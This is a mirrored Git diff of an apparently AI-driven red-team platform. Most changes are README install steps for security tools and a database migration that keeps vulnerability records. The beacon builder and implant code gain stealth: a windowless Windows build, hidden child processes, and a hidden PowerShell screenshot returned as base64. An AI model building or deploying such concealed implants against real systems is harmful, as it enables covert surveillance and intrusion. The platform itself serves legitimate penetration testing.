mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-06-26 16:00:06 +02:00
Compare commits
36 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| f4906543a8 | |||
| b073421637 | |||
| 08436c27aa | |||
| 25ce0b221f | |||
| 87e629f270 | |||
| 04f8d73b0e | |||
| 33e4f023b5 | |||
| fc2e822448 | |||
| 7487c45799 | |||
| 6c4b3bf131 | |||
| 54cea1b172 | |||
| b8775997e4 | |||
| 4223ec47f9 | |||
| 9887589d99 | |||
| b7c01f41c7 | |||
| 1d3b4c44e1 | |||
| cbd64173b8 | |||
| af71c6aa24 | |||
| 97a73a1cb6 | |||
| 83e1c707ca | |||
| 96ccbff77c | |||
| c4bd8b93f6 | |||
| d005268d28 | |||
| 7f4e8d2ad2 | |||
| f3be355820 | |||
| bf0ce33e3f | |||
| 4661862a1a | |||
| f319a0f243 | |||
| 15c4802319 | |||
| 6ffde48b0c | |||
| c5e2f0d95d | |||
| 28a826d5b7 | |||
| 6365de7018 | |||
| 2e4bf7197b | |||
| ed4ba08163 | |||
| 8b5e55a673 |
@@ -189,15 +189,21 @@ The `run.sh` script will automatically:
|
|||||||
```
|
```
|
||||||
- Or edit `config.yaml` directly before launching
|
- Or edit `config.yaml` directly before launching
|
||||||
2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`)
|
2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`)
|
||||||
3. **Install security tools (optional)** - Install all tools declared under `tools/`:
|
3. **Install security tools (optional)** - Install tools from `tools/` as needed; missing tools are skipped or substituted at runtime. Common examples:
|
||||||
|
|
||||||
|
**macOS (Homebrew):**
|
||||||
```bash
|
```bash
|
||||||
./install-tools.sh # install missing tools (best on Kali/Debian/Ubuntu)
|
brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
|
||||||
./install-tools.sh --check # check only, no install
|
|
||||||
./install-tools.sh --list # show per-tool status
|
|
||||||
./install-tools.sh --only nmap,gau # install selected tools only
|
|
||||||
```
|
```
|
||||||
On macOS, install bash 4+ via Homebrew first; without apt, the script falls back to pip/go/GitHub.
|
|
||||||
AI automatically falls back to alternatives when a tool is missing.
|
**Linux (Kali / Debian / Ubuntu):**
|
||||||
|
```bash
|
||||||
|
sudo apt update
|
||||||
|
sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
|
||||||
|
# On some distros, install ffuf/nuclei/subfinder via go install or upstream docs
|
||||||
|
```
|
||||||
|
|
||||||
|
See the `tools/` directory for the full list; refer to each tool's official docs for install details.
|
||||||
|
|
||||||
**Alternative Launch Methods:**
|
**Alternative Launch Methods:**
|
||||||
```bash
|
```bash
|
||||||
|
|||||||
+13
-7
@@ -188,15 +188,21 @@ chmod +x run.sh && ./run.sh
|
|||||||
```
|
```
|
||||||
- 或启动前直接编辑 `config.yaml` 文件
|
- 或启动前直接编辑 `config.yaml` 文件
|
||||||
2. **登录系统** - 使用控制台显示的自动生成密码(或在 `config.yaml` 中设置 `auth.password`)
|
2. **登录系统** - 使用控制台显示的自动生成密码(或在 `config.yaml` 中设置 `auth.password`)
|
||||||
3. **安装安全工具(可选)** - 一键安装 `tools/` 目录声明的全部工具:
|
3. **安装安全工具(可选)** - 按需安装 `tools/` 目录中的工具;未安装的工具在执行时会自动跳过或改用替代方案。常用示例:
|
||||||
|
|
||||||
|
**macOS(Homebrew):**
|
||||||
```bash
|
```bash
|
||||||
./install-tools.sh # 安装缺失工具 (Kali/Debian/Ubuntu 推荐)
|
brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
|
||||||
./install-tools.sh --check # 仅检查, 不安装
|
|
||||||
./install-tools.sh --list # 列出各工具安装状态
|
|
||||||
./install-tools.sh --only nmap,gau # 只装指定工具
|
|
||||||
```
|
```
|
||||||
macOS 自带 bash 3.2, 请用 `./install-tools.sh --install-bash --list` 自动安装 bash 4+; apt 不可用时会降级到 pip/go/GitHub。
|
|
||||||
未安装的工具在执行时会自动跳过或改用替代方案。
|
**Linux(Kali / Debian / Ubuntu):**
|
||||||
|
```bash
|
||||||
|
sudo apt update
|
||||||
|
sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
|
||||||
|
# 部分发行版需自行安装:ffuf、nuclei、subfinder 等可用 go install 或见各工具官网
|
||||||
|
```
|
||||||
|
|
||||||
|
完整工具列表见 `tools/` 目录;各工具安装方式以官方文档为准。
|
||||||
|
|
||||||
**其他启动方式:**
|
**其他启动方式:**
|
||||||
```bash
|
```bash
|
||||||
|
|||||||
+1
-1
@@ -10,7 +10,7 @@
|
|||||||
# ============================================
|
# ============================================
|
||||||
|
|
||||||
# 前端显示的版本号(可选,不填则显示默认版本)
|
# 前端显示的版本号(可选,不填则显示默认版本)
|
||||||
version: "v1.6.35"
|
version: "v1.6.37"
|
||||||
# 服务器配置
|
# 服务器配置
|
||||||
server:
|
server:
|
||||||
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
||||||
|
|||||||
Binary file not shown.
|
Before Width: | Height: | Size: 726 KiB After Width: | Height: | Size: 941 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 262 KiB After Width: | Height: | Size: 179 KiB |
-1064
File diff suppressed because it is too large
Load Diff
@@ -293,8 +293,8 @@ func registerListVulnerabilitiesTool(mcpServer *mcp.Server, db *database.DB, log
|
|||||||
},
|
},
|
||||||
"status": map[string]interface{}{
|
"status": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"description": "按状态筛选:open、confirmed、fixed、false_positive",
|
"description": "按状态筛选:open、confirmed、fixed、false_positive、ignored",
|
||||||
"enum": []string{"open", "confirmed", "fixed", "false_positive"},
|
"enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
|
||||||
},
|
},
|
||||||
"q": map[string]interface{}{
|
"q": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
|
|||||||
@@ -160,6 +160,18 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
|
|||||||
}
|
}
|
||||||
f.Close()
|
f.Close()
|
||||||
|
|
||||||
|
// 平台相关辅助源文件(如无窗口子进程)
|
||||||
|
for _, name := range []string{"proc_hide_windows.go", "proc_hide_unix.go"} {
|
||||||
|
helperSrc := filepath.Join(b.tmplDir, name+".tmpl")
|
||||||
|
helperData, readErr := os.ReadFile(helperSrc)
|
||||||
|
if readErr != nil {
|
||||||
|
return nil, fmt.Errorf("read helper %s: %w", name, readErr)
|
||||||
|
}
|
||||||
|
if writeErr := os.WriteFile(filepath.Join(workDir, name), helperData, 0644); writeErr != nil {
|
||||||
|
return nil, fmt.Errorf("write helper %s: %w", name, writeErr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 交叉编译
|
// 交叉编译
|
||||||
binName := strings.TrimSpace(in.OutputName)
|
binName := strings.TrimSpace(in.OutputName)
|
||||||
if binName == "" {
|
if binName == "" {
|
||||||
@@ -174,15 +186,16 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
|
|||||||
return nil, fmt.Errorf("mkdir output: %w", err)
|
return nil, fmt.Errorf("mkdir output: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
absSrcPath, err := filepath.Abs(srcPath)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("abs source path: %w", err)
|
|
||||||
}
|
|
||||||
absBinPath, err := filepath.Abs(binPath)
|
absBinPath, err := filepath.Abs(binPath)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("abs output path: %w", err)
|
return nil, fmt.Errorf("abs output path: %w", err)
|
||||||
}
|
}
|
||||||
cmd := exec.Command("go", "build", "-ldflags", "-s -w -buildid=", "-trimpath", "-o", absBinPath, absSrcPath)
|
ldflags := "-s -w -buildid="
|
||||||
|
if goos == "windows" {
|
||||||
|
// 无控制台窗口运行 beacon 本体
|
||||||
|
ldflags += " -H windowsgui"
|
||||||
|
}
|
||||||
|
cmd := exec.Command("go", "build", "-ldflags", ldflags, "-trimpath", "-o", absBinPath, ".")
|
||||||
cmd.Env = append(os.Environ(),
|
cmd.Env = append(os.Environ(),
|
||||||
"GOOS="+goos,
|
"GOOS="+goos,
|
||||||
"GOARCH="+goarch,
|
"GOARCH="+goarch,
|
||||||
|
|||||||
@@ -729,6 +729,7 @@ func runWithTimeout(cmdStr string, timeoutSec int) (string, error) {
|
|||||||
timeoutSec = 60
|
timeoutSec = 60
|
||||||
}
|
}
|
||||||
cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
|
cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
|
||||||
|
prepareHiddenCmd(cmd)
|
||||||
cwdMu.Lock()
|
cwdMu.Lock()
|
||||||
cmd.Dir = currentCwd
|
cmd.Dir = currentCwd
|
||||||
cwdMu.Unlock()
|
cwdMu.Unlock()
|
||||||
@@ -959,7 +960,7 @@ func taskScreenshot() (string, string, string, string) {
|
|||||||
b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
|
b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
|
||||||
case "windows":
|
case "windows":
|
||||||
ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
|
ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
|
||||||
b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30)
|
b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command \"%s\"", ps), 30)
|
||||||
default:
|
default:
|
||||||
return "", "", "", "screenshot not supported on " + runtime.GOOS
|
return "", "", "", "screenshot not supported on " + runtime.GOOS
|
||||||
}
|
}
|
||||||
@@ -1200,6 +1201,7 @@ func taskLoadAssembly(payload map[string]interface{}) (string, string, string, s
|
|||||||
cmdArgs = strings.Fields(args)
|
cmdArgs = strings.Fields(args)
|
||||||
}
|
}
|
||||||
cmd := exec.Command(tmpFile, cmdArgs...)
|
cmd := exec.Command(tmpFile, cmdArgs...)
|
||||||
|
prepareHiddenCmd(cmd)
|
||||||
cwdMu.Lock()
|
cwdMu.Lock()
|
||||||
cmd.Dir = currentCwd
|
cmd.Dir = currentCwd
|
||||||
cwdMu.Unlock()
|
cwdMu.Unlock()
|
||||||
|
|||||||
@@ -0,0 +1,9 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import "os/exec"
|
||||||
|
|
||||||
|
func prepareHiddenCmd(cmd *exec.Cmd) {
|
||||||
|
_ = cmd
|
||||||
|
}
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os/exec"
|
||||||
|
"syscall"
|
||||||
|
)
|
||||||
|
|
||||||
|
// prepareHiddenCmd 避免子进程弹出控制台窗口(cmd / powershell / 临时 exe 等)。
|
||||||
|
func prepareHiddenCmd(cmd *exec.Cmd) {
|
||||||
|
if cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// 仅用 HideWindow:等价于 CREATE_NO_WINDOW,且 macOS/Linux 交叉编译 Windows 时
|
||||||
|
// syscall.CREATE_NO_WINDOW 常量不可用。
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||||
|
}
|
||||||
@@ -239,7 +239,7 @@ func (db *DB) CountBatchQueues(status, keyword string) (int, error) {
|
|||||||
// GetBatchTasks 获取批量任务队列的所有任务
|
// GetBatchTasks 获取批量任务队列的所有任务
|
||||||
func (db *DB) GetBatchTasks(queueID string) ([]*BatchTaskRow, error) {
|
func (db *DB) GetBatchTasks(queueID string) ([]*BatchTaskRow, error) {
|
||||||
rows, err := db.Query(
|
rows, err := db.Query(
|
||||||
"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY id",
|
"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY rowid ASC",
|
||||||
queueID,
|
queueID,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -543,18 +543,28 @@ func (db *DB) UpdateConversationTime(id string) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// DeleteConversation 删除对话及其所有相关数据
|
// DeleteConversation 删除对话及其会话相关数据。
|
||||||
// 由于数据库外键约束设置了 ON DELETE CASCADE,删除对话时会自动删除:
|
// 由于数据库外键约束设置了 ON DELETE CASCADE,删除对话时会自动删除:
|
||||||
// - messages(消息)
|
// - messages(消息)
|
||||||
// - process_details(过程详情)
|
// - process_details(过程详情)
|
||||||
// - attack_chain_nodes(攻击链节点)
|
// - attack_chain_nodes(攻击链节点)
|
||||||
// - attack_chain_edges(攻击链边)
|
// - attack_chain_edges(攻击链边)
|
||||||
// - vulnerabilities(漏洞)
|
|
||||||
// - conversation_group_mappings(分组映射)
|
// - conversation_group_mappings(分组映射)
|
||||||
// 注意:knowledge_retrieval_logs 使用 ON DELETE SET NULL,记录会保留但 conversation_id 会被设为 NULL
|
// 漏洞记录会保留:vulnerabilities.conversation_id 使用 ON DELETE SET NULL,仅解除与会话的关联。
|
||||||
|
// 注意:knowledge_retrieval_logs 在删除前会被显式清理。
|
||||||
func (db *DB) DeleteConversation(id string) error {
|
func (db *DB) DeleteConversation(id string) error {
|
||||||
|
// 删除对话前补全漏洞来源标签,便于在漏洞库中追溯已删除会话的发现。
|
||||||
|
_, err := db.Exec(`
|
||||||
|
UPDATE vulnerabilities
|
||||||
|
SET conversation_tag = COALESCE(NULLIF(TRIM(conversation_tag), ''), (SELECT title FROM conversations WHERE id = ?))
|
||||||
|
WHERE conversation_id = ?
|
||||||
|
`, id, id)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Warn("更新漏洞来源标签失败", zap.String("conversationId", id), zap.Error(err))
|
||||||
|
}
|
||||||
|
|
||||||
// 显式删除知识检索日志(虽然外键是SET NULL,但为了彻底清理,我们手动删除)
|
// 显式删除知识检索日志(虽然外键是SET NULL,但为了彻底清理,我们手动删除)
|
||||||
_, err := db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
|
_, err = db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
db.logger.Warn("删除知识检索日志失败", zap.String("conversationId", id), zap.Error(err))
|
db.logger.Warn("删除知识检索日志失败", zap.String("conversationId", id), zap.Error(err))
|
||||||
// 不返回错误,继续删除对话
|
// 不返回错误,继续删除对话
|
||||||
@@ -567,7 +577,7 @@ func (db *DB) DeleteConversation(id string) error {
|
|||||||
}
|
}
|
||||||
db.removeConversationScopedDirs(id)
|
db.removeConversationScopedDirs(id)
|
||||||
|
|
||||||
db.logger.Info("对话及其所有相关数据已删除", zap.String("conversationId", id))
|
db.logger.Info("对话已删除(漏洞记录已保留)", zap.String("conversationId", id))
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,69 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestDeleteConversationPreservesVulnerabilities(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
dbPath := filepath.Join(tmp, "vuln-preserve.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
conv, err := db.CreateConversation("vuln source chat", ConversationCreateMeta{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CreateConversation: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
vuln, err := db.CreateVulnerability(&Vulnerability{
|
||||||
|
ConversationID: conv.ID,
|
||||||
|
Title: "SQL Injection",
|
||||||
|
Severity: "high",
|
||||||
|
Status: "open",
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CreateVulnerability: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := db.DeleteConversation(conv.ID); err != nil {
|
||||||
|
t.Fatalf("DeleteConversation: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
got, err := db.GetVulnerability(vuln.ID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("GetVulnerability after delete: %v", err)
|
||||||
|
}
|
||||||
|
if got.Title != "SQL Injection" {
|
||||||
|
t.Fatalf("title = %q, want SQL Injection", got.Title)
|
||||||
|
}
|
||||||
|
if got.ConversationID != "" {
|
||||||
|
t.Fatalf("conversation_id = %q, want empty after conversation delete", got.ConversationID)
|
||||||
|
}
|
||||||
|
if got.ConversationTag != "vuln source chat" {
|
||||||
|
t.Fatalf("conversation_tag = %q, want vuln source chat", got.ConversationTag)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMigrateVulnerabilitiesConversationFK(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
dbPath := filepath.Join(tmp, "vuln-fk-migrate.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("vulnerabilitiesConversationFKOnDeleteSetNull: %v", err)
|
||||||
|
}
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("expected vulnerabilities.conversation_id FK to use ON DELETE SET NULL")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -357,7 +357,7 @@ func (db *DB) initTables() error {
|
|||||||
createVulnerabilitiesTable := `
|
createVulnerabilitiesTable := `
|
||||||
CREATE TABLE IF NOT EXISTS vulnerabilities (
|
CREATE TABLE IF NOT EXISTS vulnerabilities (
|
||||||
id TEXT PRIMARY KEY,
|
id TEXT PRIMARY KEY,
|
||||||
conversation_id TEXT NOT NULL,
|
conversation_id TEXT,
|
||||||
conversation_tag TEXT,
|
conversation_tag TEXT,
|
||||||
task_tag TEXT,
|
task_tag TEXT,
|
||||||
title TEXT NOT NULL,
|
title TEXT NOT NULL,
|
||||||
@@ -371,7 +371,8 @@ func (db *DB) initTables() error {
|
|||||||
recommendation TEXT,
|
recommendation TEXT,
|
||||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||||
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE CASCADE
|
project_id TEXT,
|
||||||
|
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
|
||||||
);`
|
);`
|
||||||
|
|
||||||
// 创建批量任务队列表
|
// 创建批量任务队列表
|
||||||
@@ -737,6 +738,9 @@ func (db *DB) initTables() error {
|
|||||||
db.logger.Warn("迁移vulnerabilities表失败", zap.Error(err))
|
db.logger.Warn("迁移vulnerabilities表失败", zap.Error(err))
|
||||||
// 不返回错误,允许继续运行
|
// 不返回错误,允许继续运行
|
||||||
}
|
}
|
||||||
|
if err := db.migrateVulnerabilitiesConversationFK(); err != nil {
|
||||||
|
db.logger.Warn("迁移vulnerabilities会话外键失败", zap.Error(err))
|
||||||
|
}
|
||||||
|
|
||||||
if err := db.migrateProjectsTable(); err != nil {
|
if err := db.migrateProjectsTable(); err != nil {
|
||||||
db.logger.Warn("迁移projects相关表失败", zap.Error(err))
|
db.logger.Warn("迁移projects相关表失败", zap.Error(err))
|
||||||
@@ -1146,6 +1150,116 @@ func (db *DB) dropProjectFactVersionsTable() error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// migrateVulnerabilitiesConversationFK 将 vulnerabilities.conversation_id 外键改为 ON DELETE SET NULL,删除对话时保留漏洞记录。
|
||||||
|
func (db *DB) migrateVulnerabilitiesConversationFK() error {
|
||||||
|
ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if ok {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := db.Begin()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("开启事务失败: %w", err)
|
||||||
|
}
|
||||||
|
defer func() { _ = tx.Rollback() }()
|
||||||
|
|
||||||
|
const createNew = `
|
||||||
|
CREATE TABLE vulnerabilities_new (
|
||||||
|
id TEXT PRIMARY KEY,
|
||||||
|
conversation_id TEXT,
|
||||||
|
conversation_tag TEXT,
|
||||||
|
task_tag TEXT,
|
||||||
|
title TEXT NOT NULL,
|
||||||
|
description TEXT,
|
||||||
|
severity TEXT NOT NULL,
|
||||||
|
status TEXT NOT NULL DEFAULT 'open',
|
||||||
|
vulnerability_type TEXT,
|
||||||
|
target TEXT,
|
||||||
|
proof TEXT,
|
||||||
|
impact TEXT,
|
||||||
|
recommendation TEXT,
|
||||||
|
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
project_id TEXT,
|
||||||
|
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
|
||||||
|
);`
|
||||||
|
if _, err := tx.Exec(createNew); err != nil {
|
||||||
|
return fmt.Errorf("创建 vulnerabilities_new 失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
const copyRows = `
|
||||||
|
INSERT INTO vulnerabilities_new (
|
||||||
|
id, conversation_id, conversation_tag, task_tag, title, description,
|
||||||
|
severity, status, vulnerability_type, target, proof, impact, recommendation,
|
||||||
|
created_at, updated_at, project_id
|
||||||
|
)
|
||||||
|
SELECT
|
||||||
|
id, conversation_id, conversation_tag, task_tag, title, description,
|
||||||
|
severity, status, vulnerability_type, target, proof, impact, recommendation,
|
||||||
|
created_at, updated_at, project_id
|
||||||
|
FROM vulnerabilities;`
|
||||||
|
if _, err := tx.Exec(copyRows); err != nil {
|
||||||
|
return fmt.Errorf("复制 vulnerabilities 数据失败: %w", err)
|
||||||
|
}
|
||||||
|
if _, err := tx.Exec(`DROP TABLE vulnerabilities`); err != nil {
|
||||||
|
return fmt.Errorf("删除旧 vulnerabilities 表失败: %w", err)
|
||||||
|
}
|
||||||
|
if _, err := tx.Exec(`ALTER TABLE vulnerabilities_new RENAME TO vulnerabilities`); err != nil {
|
||||||
|
return fmt.Errorf("重命名 vulnerabilities 表失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
indexes := []string{
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_id ON vulnerabilities(conversation_id)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_tag ON vulnerabilities(conversation_tag)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_task_tag ON vulnerabilities(task_tag)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_severity ON vulnerabilities(severity)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_status ON vulnerabilities(status)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_created_at ON vulnerabilities(created_at)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id)`,
|
||||||
|
}
|
||||||
|
for _, stmt := range indexes {
|
||||||
|
if _, err := tx.Exec(stmt); err != nil {
|
||||||
|
return fmt.Errorf("重建 vulnerabilities 索引失败: %w", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(); err != nil {
|
||||||
|
return fmt.Errorf("提交 vulnerabilities 外键迁移失败: %w", err)
|
||||||
|
}
|
||||||
|
db.logger.Info("vulnerabilities 表已迁移:删除对话时保留漏洞记录")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func vulnerabilitiesConversationFKOnDeleteSetNull(db *sql.DB) (bool, error) {
|
||||||
|
rows, err := db.Query(`PRAGMA foreign_key_list(vulnerabilities)`)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
found := false
|
||||||
|
for rows.Next() {
|
||||||
|
var id, seq int
|
||||||
|
var table, from, to, onUpdate, onDelete, match string
|
||||||
|
if err := rows.Scan(&id, &seq, &table, &from, &to, &onUpdate, &onDelete, &match); err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
if from == "conversation_id" {
|
||||||
|
found = true
|
||||||
|
if !strings.EqualFold(onDelete, "SET NULL") {
|
||||||
|
return false, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := rows.Err(); err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
return found, nil
|
||||||
|
}
|
||||||
|
|
||||||
// migrateVulnerabilitiesTable 迁移 vulnerabilities 表,补充标签字段
|
// migrateVulnerabilitiesTable 迁移 vulnerabilities 表,补充标签字段
|
||||||
func (db *DB) migrateVulnerabilitiesTable() error {
|
func (db *DB) migrateVulnerabilitiesTable() error {
|
||||||
columns := []struct {
|
columns := []struct {
|
||||||
|
|||||||
@@ -98,7 +98,7 @@ type Vulnerability struct {
|
|||||||
Title string `json:"title"`
|
Title string `json:"title"`
|
||||||
Description string `json:"description"`
|
Description string `json:"description"`
|
||||||
Severity string `json:"severity"` // critical, high, medium, low, info
|
Severity string `json:"severity"` // critical, high, medium, low, info
|
||||||
Status string `json:"status"` // open, confirmed, fixed, false_positive
|
Status string `json:"status"` // open, confirmed, fixed, false_positive, ignored
|
||||||
Type string `json:"type"`
|
Type string `json:"type"`
|
||||||
Target string `json:"target"`
|
Target string `json:"target"`
|
||||||
Proof string `json:"proof"`
|
Proof string `json:"proof"`
|
||||||
@@ -138,7 +138,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
|
|||||||
|
|
||||||
_, err := db.Exec(
|
_, err := db.Exec(
|
||||||
query,
|
query,
|
||||||
vuln.ID, vuln.ConversationID, nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
|
vuln.ID, nullIfEmpty(vuln.ConversationID), nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
|
||||||
vuln.Severity, vuln.Status, vuln.Type, vuln.Target,
|
vuln.Severity, vuln.Status, vuln.Type, vuln.Target,
|
||||||
vuln.Proof, vuln.Impact, vuln.Recommendation,
|
vuln.Proof, vuln.Impact, vuln.Recommendation,
|
||||||
vuln.CreatedAt, vuln.UpdatedAt,
|
vuln.CreatedAt, vuln.UpdatedAt,
|
||||||
@@ -154,7 +154,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
|
|||||||
func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
||||||
var vuln Vulnerability
|
var vuln Vulnerability
|
||||||
query := `
|
query := `
|
||||||
SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status,
|
SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status,
|
||||||
conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation,
|
conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation,
|
||||||
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
